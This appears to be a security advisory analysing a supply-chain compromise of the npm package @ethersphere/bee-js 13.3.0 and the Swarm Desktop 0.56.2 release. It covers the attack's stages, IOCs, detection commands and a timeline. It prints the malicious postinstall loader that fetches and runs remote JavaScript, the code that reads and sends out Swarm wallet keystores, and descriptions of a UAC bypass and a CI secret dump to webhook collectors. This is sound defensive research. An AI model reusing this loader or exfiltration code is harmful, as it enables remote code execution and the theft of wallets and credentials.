critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-494, CWE-522

Affected Surface

  • npm `@ethersphere/bee-js` version `13.3.0` (`GHSA-hh7j-5m3j-23pf`, published 9 November 2026 at `00:09:50 UTC` with SLSA provenance from `ethersphere/bee-js` commit `de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf`; removed from npm at `01:24:58 UTC` and reverted to `13.2.0`)
  • GitHub Release `ethersphere/swarm-desktop` version `0.56.2` (published 9 November 2026 at `00:36:31 UTC` from commits `2de727046706062d38edfbbf8340f32d1eb2bdfb` and `dc7d7455c95b3092eb14bff2bd93315b84b066fa` on branch `emergency/0.56.2`; tag `v0.56.2` deleted at `09:04:45 UTC`, clean replacement release `0.56.3` published at `12:52:07 UTC`)
  • Downstream npm packages with semver ranges resolving `@ethersphere/bee-js@^13.0.0` or `^13.2.0` during the exposure window, including `@ethersphere/swarm-cli` (`3.7.0`), `@ethersphere/bee-dashboard` (`0.37.1`), `@solarpunkltd/swarm-id` (`0.10.5`), `@snaha/swarm-id` (`0.8.0`), `@solarpunkltd/file-manager-lib` (`1.1.1`), `@upcoming/bee-dashboard` (`0.33.3`), and `bee-wasm-js` (`0.1.1`)

Update, 9 November 2026 (12:52 UTC release and Socket Threat Research attribution): At 12:52:07 UTC on 9 November 2026, Ethersphere maintainers published clean replacement release ethersphere/swarm-desktop v0.56.3, and Socket Threat Research published a forensic reconstruction of the compromise with four additional findings for defenders:

  1. Why Swarm Desktop users must upgrade to 0.56.3 (deleting v0.56.2 did not roll back auto-updated clients): Swarm Desktop uses update-electron-app, which polls update.electronjs.org every 10 minutes on macOS and Windows. Because the threat actor pushed a follow-up commit dc7d7455c95b3092eb14bff2bd93315b84b066fa (via the compromised nugaon maintainer account) to repair a broken pnpm/action-setup step in pre-release.yml, Ethersphere’s own CI built, signed (Developer ID Application: Swarm Association (9J9SPHU9RP)), and Apple-notarized (00:44:05 UTC) the trojanized 0.56.2 installers (dist/desktop/src/index.js SHA-256 f81315968e679b48f6bdff1c9b928bb223230d07f44d7948412c2250c2a14deb inside app.asar). Deleting the v0.56.2 release tag at 09:04:45 UTC never downgraded clients that had already auto-updated; those hosts continued executing the /v1/electron loader on every launch until 0.56.3 shipped at 12:52:07 UTC (and installing 0.56.3 still does not remove the stage-3 ~/.solidity/ or ScreenConnect Client (5cbe79c9c25524df) persistence).
  2. The loader executed three times inside Ethersphere’s own publish_npmjs.yaml GitHub Actions job: Public logs for Actions run 42538346313 show node scripts/generate-version.cjs executing three times (npm ci, npm run build, and prepublishOnly) between 00:06:20 and 00:06:43 UTC on a runner holding id-token: write, with api.frameworkmetrics[.]xyz returning live JavaScript that printed [FrameworkMetrics] analytics v2.3.1 is up to date.
  3. 6 November ethersphere/swarm-cli CI secret-harvesting campaign by nugaon: After the three branch probes on swarm-desktop (17:06 to 17:14 UTC on 6 November), nugaon pushed 13 commits directly to master on ethersphere/swarm-cli between 18:01:14 and 19:55:47 UTC, revising a sudo apt update step in check.yaml 11 times to dump ${{ toJSON(secrets) }}, GitHub PATs, Apple/Windows signing certificates, and NPM_TOKEN to three webhook[.]site collectors (fdc222d5-2e6c-4122-801d-93099f3fe827, 46358b99-9cff-4f14-97bc-4a436086e826, and c05b53d9-c3b6-4a90-94dc-b86a0a4e905f) and pastebin[.]com/raw/q1p9qH2w before reverting master.
  4. Shared Ethereum C2 dead drop and stage-3 binaries with the SleepyDuck / EtherDuck Open VSX campaign: The Ethereum contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344, its owner wallet 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7, a linked secondary contract 0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B (deployed 31 July 2026 by 0xA7B15A2B5F6992DC3BabB946375d6895fF1171BF), and six of the seven stage-3 binaries (linux_amd64, linux_arm64, darwin_amd64, darwin_arm64, invoke.ps1, and app.msi) are byte-for-byte identical to the infrastructure documented by Pluto Security on 1 October 2026 in the SleepyDuck / EtherDuck Open VSX Solidity extension attacks, explaining why the Swarm implant still persists under ~/.solidity/ and solidity-langsupport-runner.service.

TL;DR

Early on 9 November 2026, an attacker using Ethersphere’s bee-worker release bot identity compromised both @ethersphere/bee-js on npm (13.3.0, GHSA-hh7j-5m3j-23pf) and ethersphere/swarm-desktop on GitHub Releases (v0.56.2):

  1. Trusted publishing with valid SLSA provenance bypassed branch protection: At 23:59:54 UTC on 8 November, bee-worker created an unsigned commit (de2f74e784b2) and tagged v13.3.0 without pushing to any protected branch while the real Release Please PR (#1288) sat unmerged. Publishing the v13.3.0 GitHub release at 00:06:01 UTC on 9 November triggered .github/workflows/publish_npmjs.yaml (Actions run 42538346313), which built the tag and published @ethersphere/bee-js@13.3.0 to npm at 00:09:50 UTC with a valid SLSA provenance attestation.
  2. Follow-up compromise of ethersphere/swarm-desktop 0.56.2: Thirty minutes later (00:36:31 UTC), bee-worker created commit 2de727046706 (chore(master): release 0.56.2, pushed to refs/heads/emergency/0.56.2 at 00:39:23 UTC by nugaon) and published Swarm Desktop v0.56.2 as an “emergency patch release” containing the same loader inside src/index.ts.
  3. Swarm wallet keystore theft (config.yaml + swarm.key): Both loaders send GET /v1/analytics (or /v1/electron) to api.frameworkmetrics[.]xyz with headers X-Ethersphere: 1 and User-Agent: <process.platform>, and pass the response body to new Function('require', 'console', 'process', body)(require, console, process). The stage-2 JavaScript reads config.yaml (which stores the node’s keystore password in cleartext) and data-dir/keys/swarm.key (the encrypted Ethereum V3 keystore holding the node’s xDAI, xBZZ, chequebook, and stake) from the Swarm Desktop data directory and POSTs both to hxxps://api.frameworkmetrics[.]xyz/v1/swarm/report.
  4. Cross-platform persistence (evjawbreaker Ethereum C2 RAT and rogue ScreenConnect SYSTEM service):
    • On Linux and macOS, stage 2 drops the Go remote-shell implant evjawbreaker into ~/.solidity/linux_<arch> or ~/.solidity/darwin_<arch>, persists it via ~/.config/systemd/user/solidity-langsupport-runner.service or ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, and queries Ethereum mainnet smart contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 (selector 0x02d91518) via public JSON-RPC endpoints (rpc.ankr.com, cloudflare-eth.com) to resolve the active TLS C2 hub (193.57.9[.]155:4912, set on-chain 29 minutes before the bee-js commit).
    • On Windows, stage 2 downloads invoke.ps1 and app.msi, uses UACME Method 39 (mmc.exe .NET COR_PROFILER hijack) or repeated UAC prompts to elevate, adds a temporary Microsoft Defender exclusion, and installs a ConnectWise-signed ScreenConnect 25.4.3 client (ScreenConnect Client (5cbe79c9c25524df)) running as SYSTEM and beaconing to 185.232.84[.]169:8041.

What to do now: Pin @ethersphere/bee-js to 13.2.0 and upgrade Swarm Desktop to 0.56.3 (or 0.56.1). If any workstation, node, or CI runner installed @ethersphere/bee-js@13.3.0 (directly or transitively via @ethersphere/swarm-cli, @ethersphere/bee-dashboard, @solarpunkltd/swarm-id, or @snaha/swarm-id) or updated to Swarm Desktop 0.56.2, treat the host and its Swarm wallet key (swarm.key) as compromised, transfer xDAI/xBZZ funds and stake to a newly generated key on a clean machine, and remove the ~/.solidity/ implant or ScreenConnect Client (5cbe79c9c25524df) service before rebuilding the host.

Affected packages and releases

EcosystemPackage / RepositoryAffected versionSafe versionExposure window (UTC)Status (9 Nov 2026)
npm@ethersphere/bee-js (GHSA-hh7j-5m3j-23pf)13.3.013.2.02026-11-09 00:09:50 to 01:24:58 UTC (~75 minutes)Removed from npm at 01:24:58 UTC; latest restored to 13.2.0; tag v13.3.0 deleted at 09:21:55 UTC
GitHub Releasesethersphere/swarm-desktop0.56.2 (.deb, .rpm, .dmg, .exe, .nupkg, .zip, RELEASES)0.56.3 (0.56.1)2026-11-09 00:36:31 to 09:04:45 UTC (~8.5 hours)Tag v0.56.2 deleted at 09:04:45 UTC (65 total asset downloads); clean v0.56.3 released at 12:52:07 UTC
npm (downstream)@ethersphere/swarm-cli (3.7.0), @ethersphere/bee-dashboard (0.37.1), @solarpunkltd/swarm-id (0.10.5), @snaha/swarm-id (0.8.0), @solarpunkltd/file-manager-lib (1.1.1), @upcoming/bee-dashboard (0.33.3), bee-wasm-js (0.1.1)Unpinned installs resolving @ethersphere/bee-js@^13.0.0 or ^13.2.0 while 13.3.0 was latestLockfiles pinned to @ethersphere/bee-js@13.2.02026-11-09 00:09:50 to 01:24:58 UTCClean upstream packages; check package-lock.json, pnpm-lock.yaml, and yarn.lock for resolved 13.3.0

Technical analysis

1. How an unbranched commit produced a valid SLSA provenance attestation on npm

GitHub event telemetry on ethersphere/swarm-desktop shows that on 6 November 2026, two hours after the attacker registered frameworkmetrics[.]xyz (15:08 UTC), the GitHub account nugaon created and immediately deleted three test branches (probe/force-dryrun-1793984793 at 17:06:35 UTC, security/lab-secrets-1793985145 at 17:12:28 UTC, and test-run at 17:14:37 UTC).

At 23:59:54 UTC on 8 November 2026, the project’s release automation account bee-worker (70210089+bee-worker@users.noreply.github.com) created an unsigned commit de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (chore(upcoming): release 13.3.0) on ethersphere/bee-js. Rather than pushing to a protected branch or merging the open Release Please pull request (#1288), the actor tagged de2f74e784b2 as v13.3.0 (tag object f112f36110ef51ae91aa814596621c2eafd99d1b) and published GitHub Release 438613465 at 00:06:01 UTC on 9 November.

Because .github/workflows/publish_npmjs.yaml triggers on release: types: [published] and runs tests only on branch pushes, GitHub Actions run 42538346313 checked out v13.3.0, built the package, and published @ethersphere/bee-js@13.3.0 to npm at 00:09:50 UTC using GitHub Actions OIDC trusted publishing. As a result, the malicious tarball (a205c8a5fed81e9a787645b2801f00be3db3348d) carried a genuine, cryptographically valid SLSA build provenance signature linking it to ethersphere/bee-js and publish_npmjs.yaml.

2. Stage 1: the postinstall (bee-js) and Electron main() (swarm-desktop) loaders

In ethersphere/bee-js commit de2f74e784b2, the attacker modified package.json to ship the scripts/ directory in the published tarball and moved node scripts/generate-version.cjs from prepare (which runs only during package development) to postinstall (which runs on every consumer npm install):

--- a/package.json
+++ b/package.json
@@ -52,11 +52,12 @@
   "files": [
-    "dist"
+    "dist",
+    "scripts"
   ],
   "scripts": {
     "prepublishOnly": "NODE_ENV=production npm run build",
-    "prepare": "node scripts/generate-version.cjs",
+    "postinstall": "node scripts/generate-version.cjs",
     "generate:version": "node scripts/generate-version.cjs",

At the top of scripts/generate-version.cjs (2,510 bytes, SHA-256 ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f), before the script checks whether src/ exists, the commit inserts an HTTPS loader disguised as an “analytics ping”:

// ethersphere/bee-js@de2f74e784b2: scripts/generate-version.cjs (lines 11-28)
try {
  const req = require('https').get(
    'https://api.frameworkmetrics.xyz/v1/analytics',
    {
      headers: {
        'User-Agent': process.platform,
        'X-Ethersphere': '1',
      },
      timeout: 3000,
    },
    async res => {
      let body = ''
      for await (const chunk of res) body += chunk
      new Function('require', 'console', 'process', body)(require, console, process);
    },
  )
  req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}

Notice the comment the attacker added further down at line 37: // (return, not process.exit -- exit would kill the analytics ping above). Replacing process.exit(0) with return keeps the Node.js event loop alive while the asynchronous HTTPS response streams back and executes inside new Function('require', 'console', 'process', body).

Thirty minutes later (00:36:31 UTC), commit 2de727046706 in ethersphere/swarm-desktop (v0.56.2) injected the same new Function('require', 'console', 'process', body) primitive into main() in src/index.ts, polling https://api.frameworkmetrics.xyz/v1/electron with User-Agent: process.platform and X-Ethersphere: '1' every time the Electron desktop app starts. If a scanner or researcher queries either URL without X-Ethersphere: 1 and a supported platform (linux, darwin, or win32), the C2 returns a benign decoy script.

3. Stage 2: Swarm Desktop wallet keystore exfiltration

When api.frameworkmetrics[.]xyz receives a request with X-Ethersphere: 1 and User-Agent: linux (SHA-256 1f3a7afd2e43215f09f2a81063dc2796af556bae74aaf492fba2d66e5d65b14c), darwin (2496d74e6a913eba39c8537be31baeff9cf6ccdd8ee84a69475302815cfd4105), or win32 (705b4aa2bc6fa35f8e6d448f3c6e193fac6027b9b5239e212e09732cc9fc0dba), the returned stage-2 script immediately runs trySwarm():

// Stage-2 payload (linux @ 1f3a7afd, lines 62-74)
function trySwarm() {
  try {
    if (typeof require !== 'function') return;
    var fs = require('fs');
    var path = require('path');
    var base = swarmBase();
    if (!base || !fs.existsSync(base)) return;
    var configPath = path.join(base, 'config.yaml');
    var keyPath = path.join(base, 'data-dir', 'keys', 'swarm.key');
    if (!fs.existsSync(configPath) || !fs.existsSync(keyPath)) return;
    postSwarm(fs.readFileSync(configPath, 'utf8'), fs.readFileSync(keyPath, 'utf8'));
  } catch (e) { /* silent */ }
}

Here swarmBase() resolves to ~/.local/share/Swarm Desktop (or $XDG_DATA_HOME/Swarm Desktop) on Linux, ~/Library/Application Support/Swarm Desktop on macOS, and %LOCALAPPDATA%\Swarm Desktop\Data on Windows. Because Swarm Desktop stores the encrypted Ethereum V3 keystore in data-dir/keys/swarm.key and writes the keystore decryption password in plaintext inside config.yaml, postSwarm() sends both files as { configYaml, v3 } to hxxps://api.frameworkmetrics[.]xyz/v1/swarm/report, giving the operator immediate control over the node’s private key, xDAI, xBZZ, chequebook balance, and stake.

4. Stage 3: evjawbreaker Ethereum smart-contract C2 RAT (Linux/macOS) and ScreenConnect UAC bypass (Windows)

After running trySwarm(), stage 2 installs a platform-specific persistent backdoor fetched from hxxps://api.frameworkmetrics[.]xyz/v1/assets/:

  1. Linux and macOS (evjawbreaker Go RAT):
    • On Linux, stage 2 writes ~/.solidity/linux_amd64 (SHA-256 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696) or ~/.solidity/linux_arm64 (b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565), creates a Python launcher ~/.solidity/.run.py, and registers a systemd user unit at ~/.config/systemd/user/solidity-langsupport-runner.service (Description=Solidity language tooling helper, Restart=on-failure).
    • On macOS, stage 2 writes ~/.solidity/darwin_arm64 (80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f) or ~/.solidity/darwin_amd64 (fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358), strips quarantine extended attributes (xattr -c), creates .run.cjs or .run.py, and loads ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist (RunAtLoad=true).
    • Static inspection of the Linux and macOS binaries shows a Go implant with internal module path evjawbreaker (evjawbreaker/internal/eth.ethCallWithFallback, evjawbreaker/internal/eth.ParseABIString, hubclient.runCommand, hubclient.startShellLocked, github.com/creack/pty). After checking for debuggers and VM hypervisors, main.fetchParam1Once issues an Ethereum eth_call (0x02d91518) against mainnet contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 (deployed 14 March 2026 by 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7) via public RPC nodes (rpc.ankr.com, cloudflare-eth.com). At 23:30:47 UTC on 8 November (29 minutes before the bee-js commit), the operator updated that contract to return 193.57.9[.]155:4912, to which the implant opens a TLS session (skipping certificate verification) and spawns an interactive sh PTY shell.
  2. Windows (invoke.ps1 UACME Method 39 + ConnectWise ScreenConnect 25.4.3):
    • Stage 2 stages .stuffed-* PowerShell and VBScript launchers in %TEMP% and downloads invoke.ps1 (37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e) and app.msi (7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da) into a hidden %LOCALAPPDATA%\.<32-hex-guid>\ directory.
    • If the user is a local administrator, invoke.ps1 uses UACME Method 39 (setting COR_ENABLE_PROFILING=1 and COR_PROFILER_PATH in the user environment before launching auto-elevated mmc.exe) to gain high-integrity privileges without a consent prompt; otherwise it loops the UAC prompt until accepted. It then adds a Microsoft Defender exclusion for the staging folder, silently installs app.msi (a ConnectWise-signed ScreenConnect 25.4.3 client configured via system.config to connect to 185.232.84[.]169:8041 as SYSTEM service ScreenConnect Client (5cbe79c9c25524df) with hidden tray icon and suppressed banners), and removes the Defender exclusion and staging files.

IOCs

  • Network and blockchain indicators (defanged):
    • Stage-1 / Stage-2 C2 domain: frameworkmetrics[.]xyz and api.frameworkmetrics[.]xyz
    • Loader, asset, and exfiltration URLs: hxxps://api.frameworkmetrics[.]xyz/v1/analytics, hxxps://api.frameworkmetrics[.]xyz/v1/electron, hxxps://api.frameworkmetrics[.]xyz/v1/assets/, and hxxps://api.frameworkmetrics[.]xyz/v1/swarm/report
    • Gate header: X-Ethersphere: 1 with User-Agent: linux, darwin, or win32
    • evjawbreaker TLS C2 hub (current): 193.57.9[.]155:4912 (historical hubs on the same contract: 193.57.9[.]17:4912, 178.16.54[.]222:4912, 107.189.27[.]223:4912, 107.189.27[.]46:4912, 91.108.240[.]156:4912, 107.189.16[.]215:4912; secondary URL parameter hxxp://107.189.27[.]46:3000/app.js)
    • Rogue ScreenConnect relay: 185.232.84[.]169:8041
    • Ethereum mainnet dead-drop contracts: 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 and 0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B (getter selectors 0x02d91518 and 0x1f049b68; operator wallet 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7)
  • Host persistence indicators:
    • Linux: ~/.solidity/linux_amd64, ~/.solidity/linux_arm64, ~/.solidity/.run.py, and ~/.config/systemd/user/solidity-langsupport-runner.service
    • macOS: ~/.solidity/darwin_arm64, ~/.solidity/darwin_amd64, ~/.solidity/.run.cjs, ~/.solidity/.run.py, and ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist
    • Windows: %TEMP%\.stuffed-*, %LOCALAPPDATA%\.<32-hex-guid>\app.msi, and Windows service ScreenConnect Client (5cbe79c9c25524df)
  • SHA-256 digests:
    • scripts/generate-version.cjs (@ethersphere/bee-js@13.3.0, npm tarball SHA-1 a205c8a5fed81e9a787645b2801f00be3db3348d): ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f
    • Stage-2 scripts: Linux 1f3a7afd2e43215f09f2a81063dc2796af556bae74aaf492fba2d66e5d65b14c, macOS 2496d74e6a913eba39c8537be31baeff9cf6ccdd8ee84a69475302815cfd4105, Windows 705b4aa2bc6fa35f8e6d448f3c6e193fac6027b9b5239e212e09732cc9fc0dba, decoy 735aba95e24f515a5cea4efea309f245952917d372b37b5fbea305986dbcd568
    • Stage-3 payloads: linux_amd64 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696, linux_arm64 b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565, darwin_arm64 80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f, darwin_amd64 fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358, invoke.ps1 37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e, app.msi 7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da

Detection and remediation

# 1. Check npm, pnpm, and yarn dependency trees and lockfiles for @ethersphere/bee-js 13.3.0
npm ls @ethersphere/bee-js 2>/dev/null || true
rg -n -C 3 '@ethersphere/bee-js.*13\.3\.0|frameworkmetrics\.xyz' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock node_modules/ 2>/dev/null

# 2. Check Linux and macOS hosts for the evjawbreaker implant and persistence units
ls -la ~/.solidity/ \
  ~/.config/systemd/user/solidity-langsupport-runner.service \
  ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 2>/dev/null || true
ps -ef | grep -E '\.solidity/|solidity-langsupport-runner' | grep -v grep || true

# 3. Check Swarm Desktop version on Linux/macOS
rg -n '"version":\s*"0\.56\.2"|frameworkmetrics\.xyz' \
  /opt/Swarm\ Desktop/ /Applications/Swarm\ Desktop.app/ ~/.local/share/Swarm\ Desktop/ 2>/dev/null || true

On Windows PowerShell, check for the rogue ScreenConnect service and .stuffed-* staging artifacts:

Get-Service -Name "ScreenConnect Client (5cbe79c9c25524df)" -ErrorAction SilentlyContinue
Get-ChildItem -Path $env:TEMP -Filter ".stuffed-*" -Force -ErrorAction SilentlyContinue
  1. Migrate Swarm node funds and stake immediately if config.yaml and swarm.key were present: Generating a new password for the existing swarm.key is not sufficient because the private key inside swarm.key is already exposed once decrypted with the stolen config.yaml password. Generate a fresh wallet on a clean machine and transfer all xDAI, xBZZ, chequebook funds, and stake out of the compromised address.
  2. Eradicate persistence and rebuild affected hosts: Stop and disable solidity-langsupport-runner.service (systemctl --user disable --now solidity-langsupport-runner.service), unload com.solidity.langsupport.runner.plist (launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist), or uninstall ScreenConnect Client (5cbe79c9c25524df) on Windows, delete ~/.solidity/, rotate all credentials accessible to the user or CI job, and rebuild the workstation or runner from a known-clean image.

Timeline

  • 2026-03-14 (13:03:47 UTC): Operator wallet 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7 deploys Ethereum mainnet C2 dead-drop contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344.
  • 2026-11-06 (15:08 UTC to 17:14 UTC): frameworkmetrics[.]xyz is registered (15:08 UTC); two hours later (17:06 to 17:14 UTC), nugaon creates and deletes probe branches (probe/force-dryrun-1793984793, security/lab-secrets-1793985145, test-run) on ethersphere/swarm-desktop.
  • 2026-11-08 (23:30:47 UTC): Operator updates Ethereum contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 to point to 193.57.9[.]155:4912.
  • 2026-11-08 (23:59:54 UTC): bee-worker creates unsigned commit de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (chore(upcoming): release 13.3.0) on ethersphere/bee-js.
  • 2026-11-09 (00:06:01 to 00:09:50 UTC): bee-worker publishes GitHub release v13.3.0, triggering publish_npmjs.yaml (run 42538346313), which publishes @ethersphere/bee-js@13.3.0 to npm with valid SLSA provenance.
  • 2026-11-09 (00:36:31 to 00:39:23 UTC): bee-worker creates commit 2de727046706062d38edfbbf8340f32d1eb2bdfb (chore(master): release 0.56.2) on ethersphere/swarm-desktop (refs/heads/emergency/0.56.2 pushed by nugaon) and publishes Swarm Desktop v0.56.2.
  • 2026-11-09 (00:53:54 to 01:25:27 UTC): StepSecurity opens ethersphere/bee-js#1294 (00:53 UTC), Bitbison opens #1295 (01:25 UTC), npm removes @ethersphere/bee-js@13.3.0 (01:24:58 UTC), and GitHub publishes GHSA-hh7j-5m3j-23pf (01:25:27 UTC).
  • 2026-11-09 (07:00:25 to 09:21:55 UTC): SafeDep opens ethersphere/swarm-desktop#581 (07:00 UTC), Ethersphere maintainers delete tags v0.56.2 (09:04:45 UTC) and v13.3.0 (09:21:55 UTC), and StepSecurity, SafeDep, and OX Security publish full technical analyses.
  • 2026-11-09 (12:52:07 UTC): Ethersphere maintainers publish clean replacement release ethersphere/swarm-desktop v0.56.3 so macOS and Windows auto-updaters roll forward off 0.56.2, and Socket Threat Research publishes its forensic attribution linking the campaign to SleepyDuck / EtherDuck.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References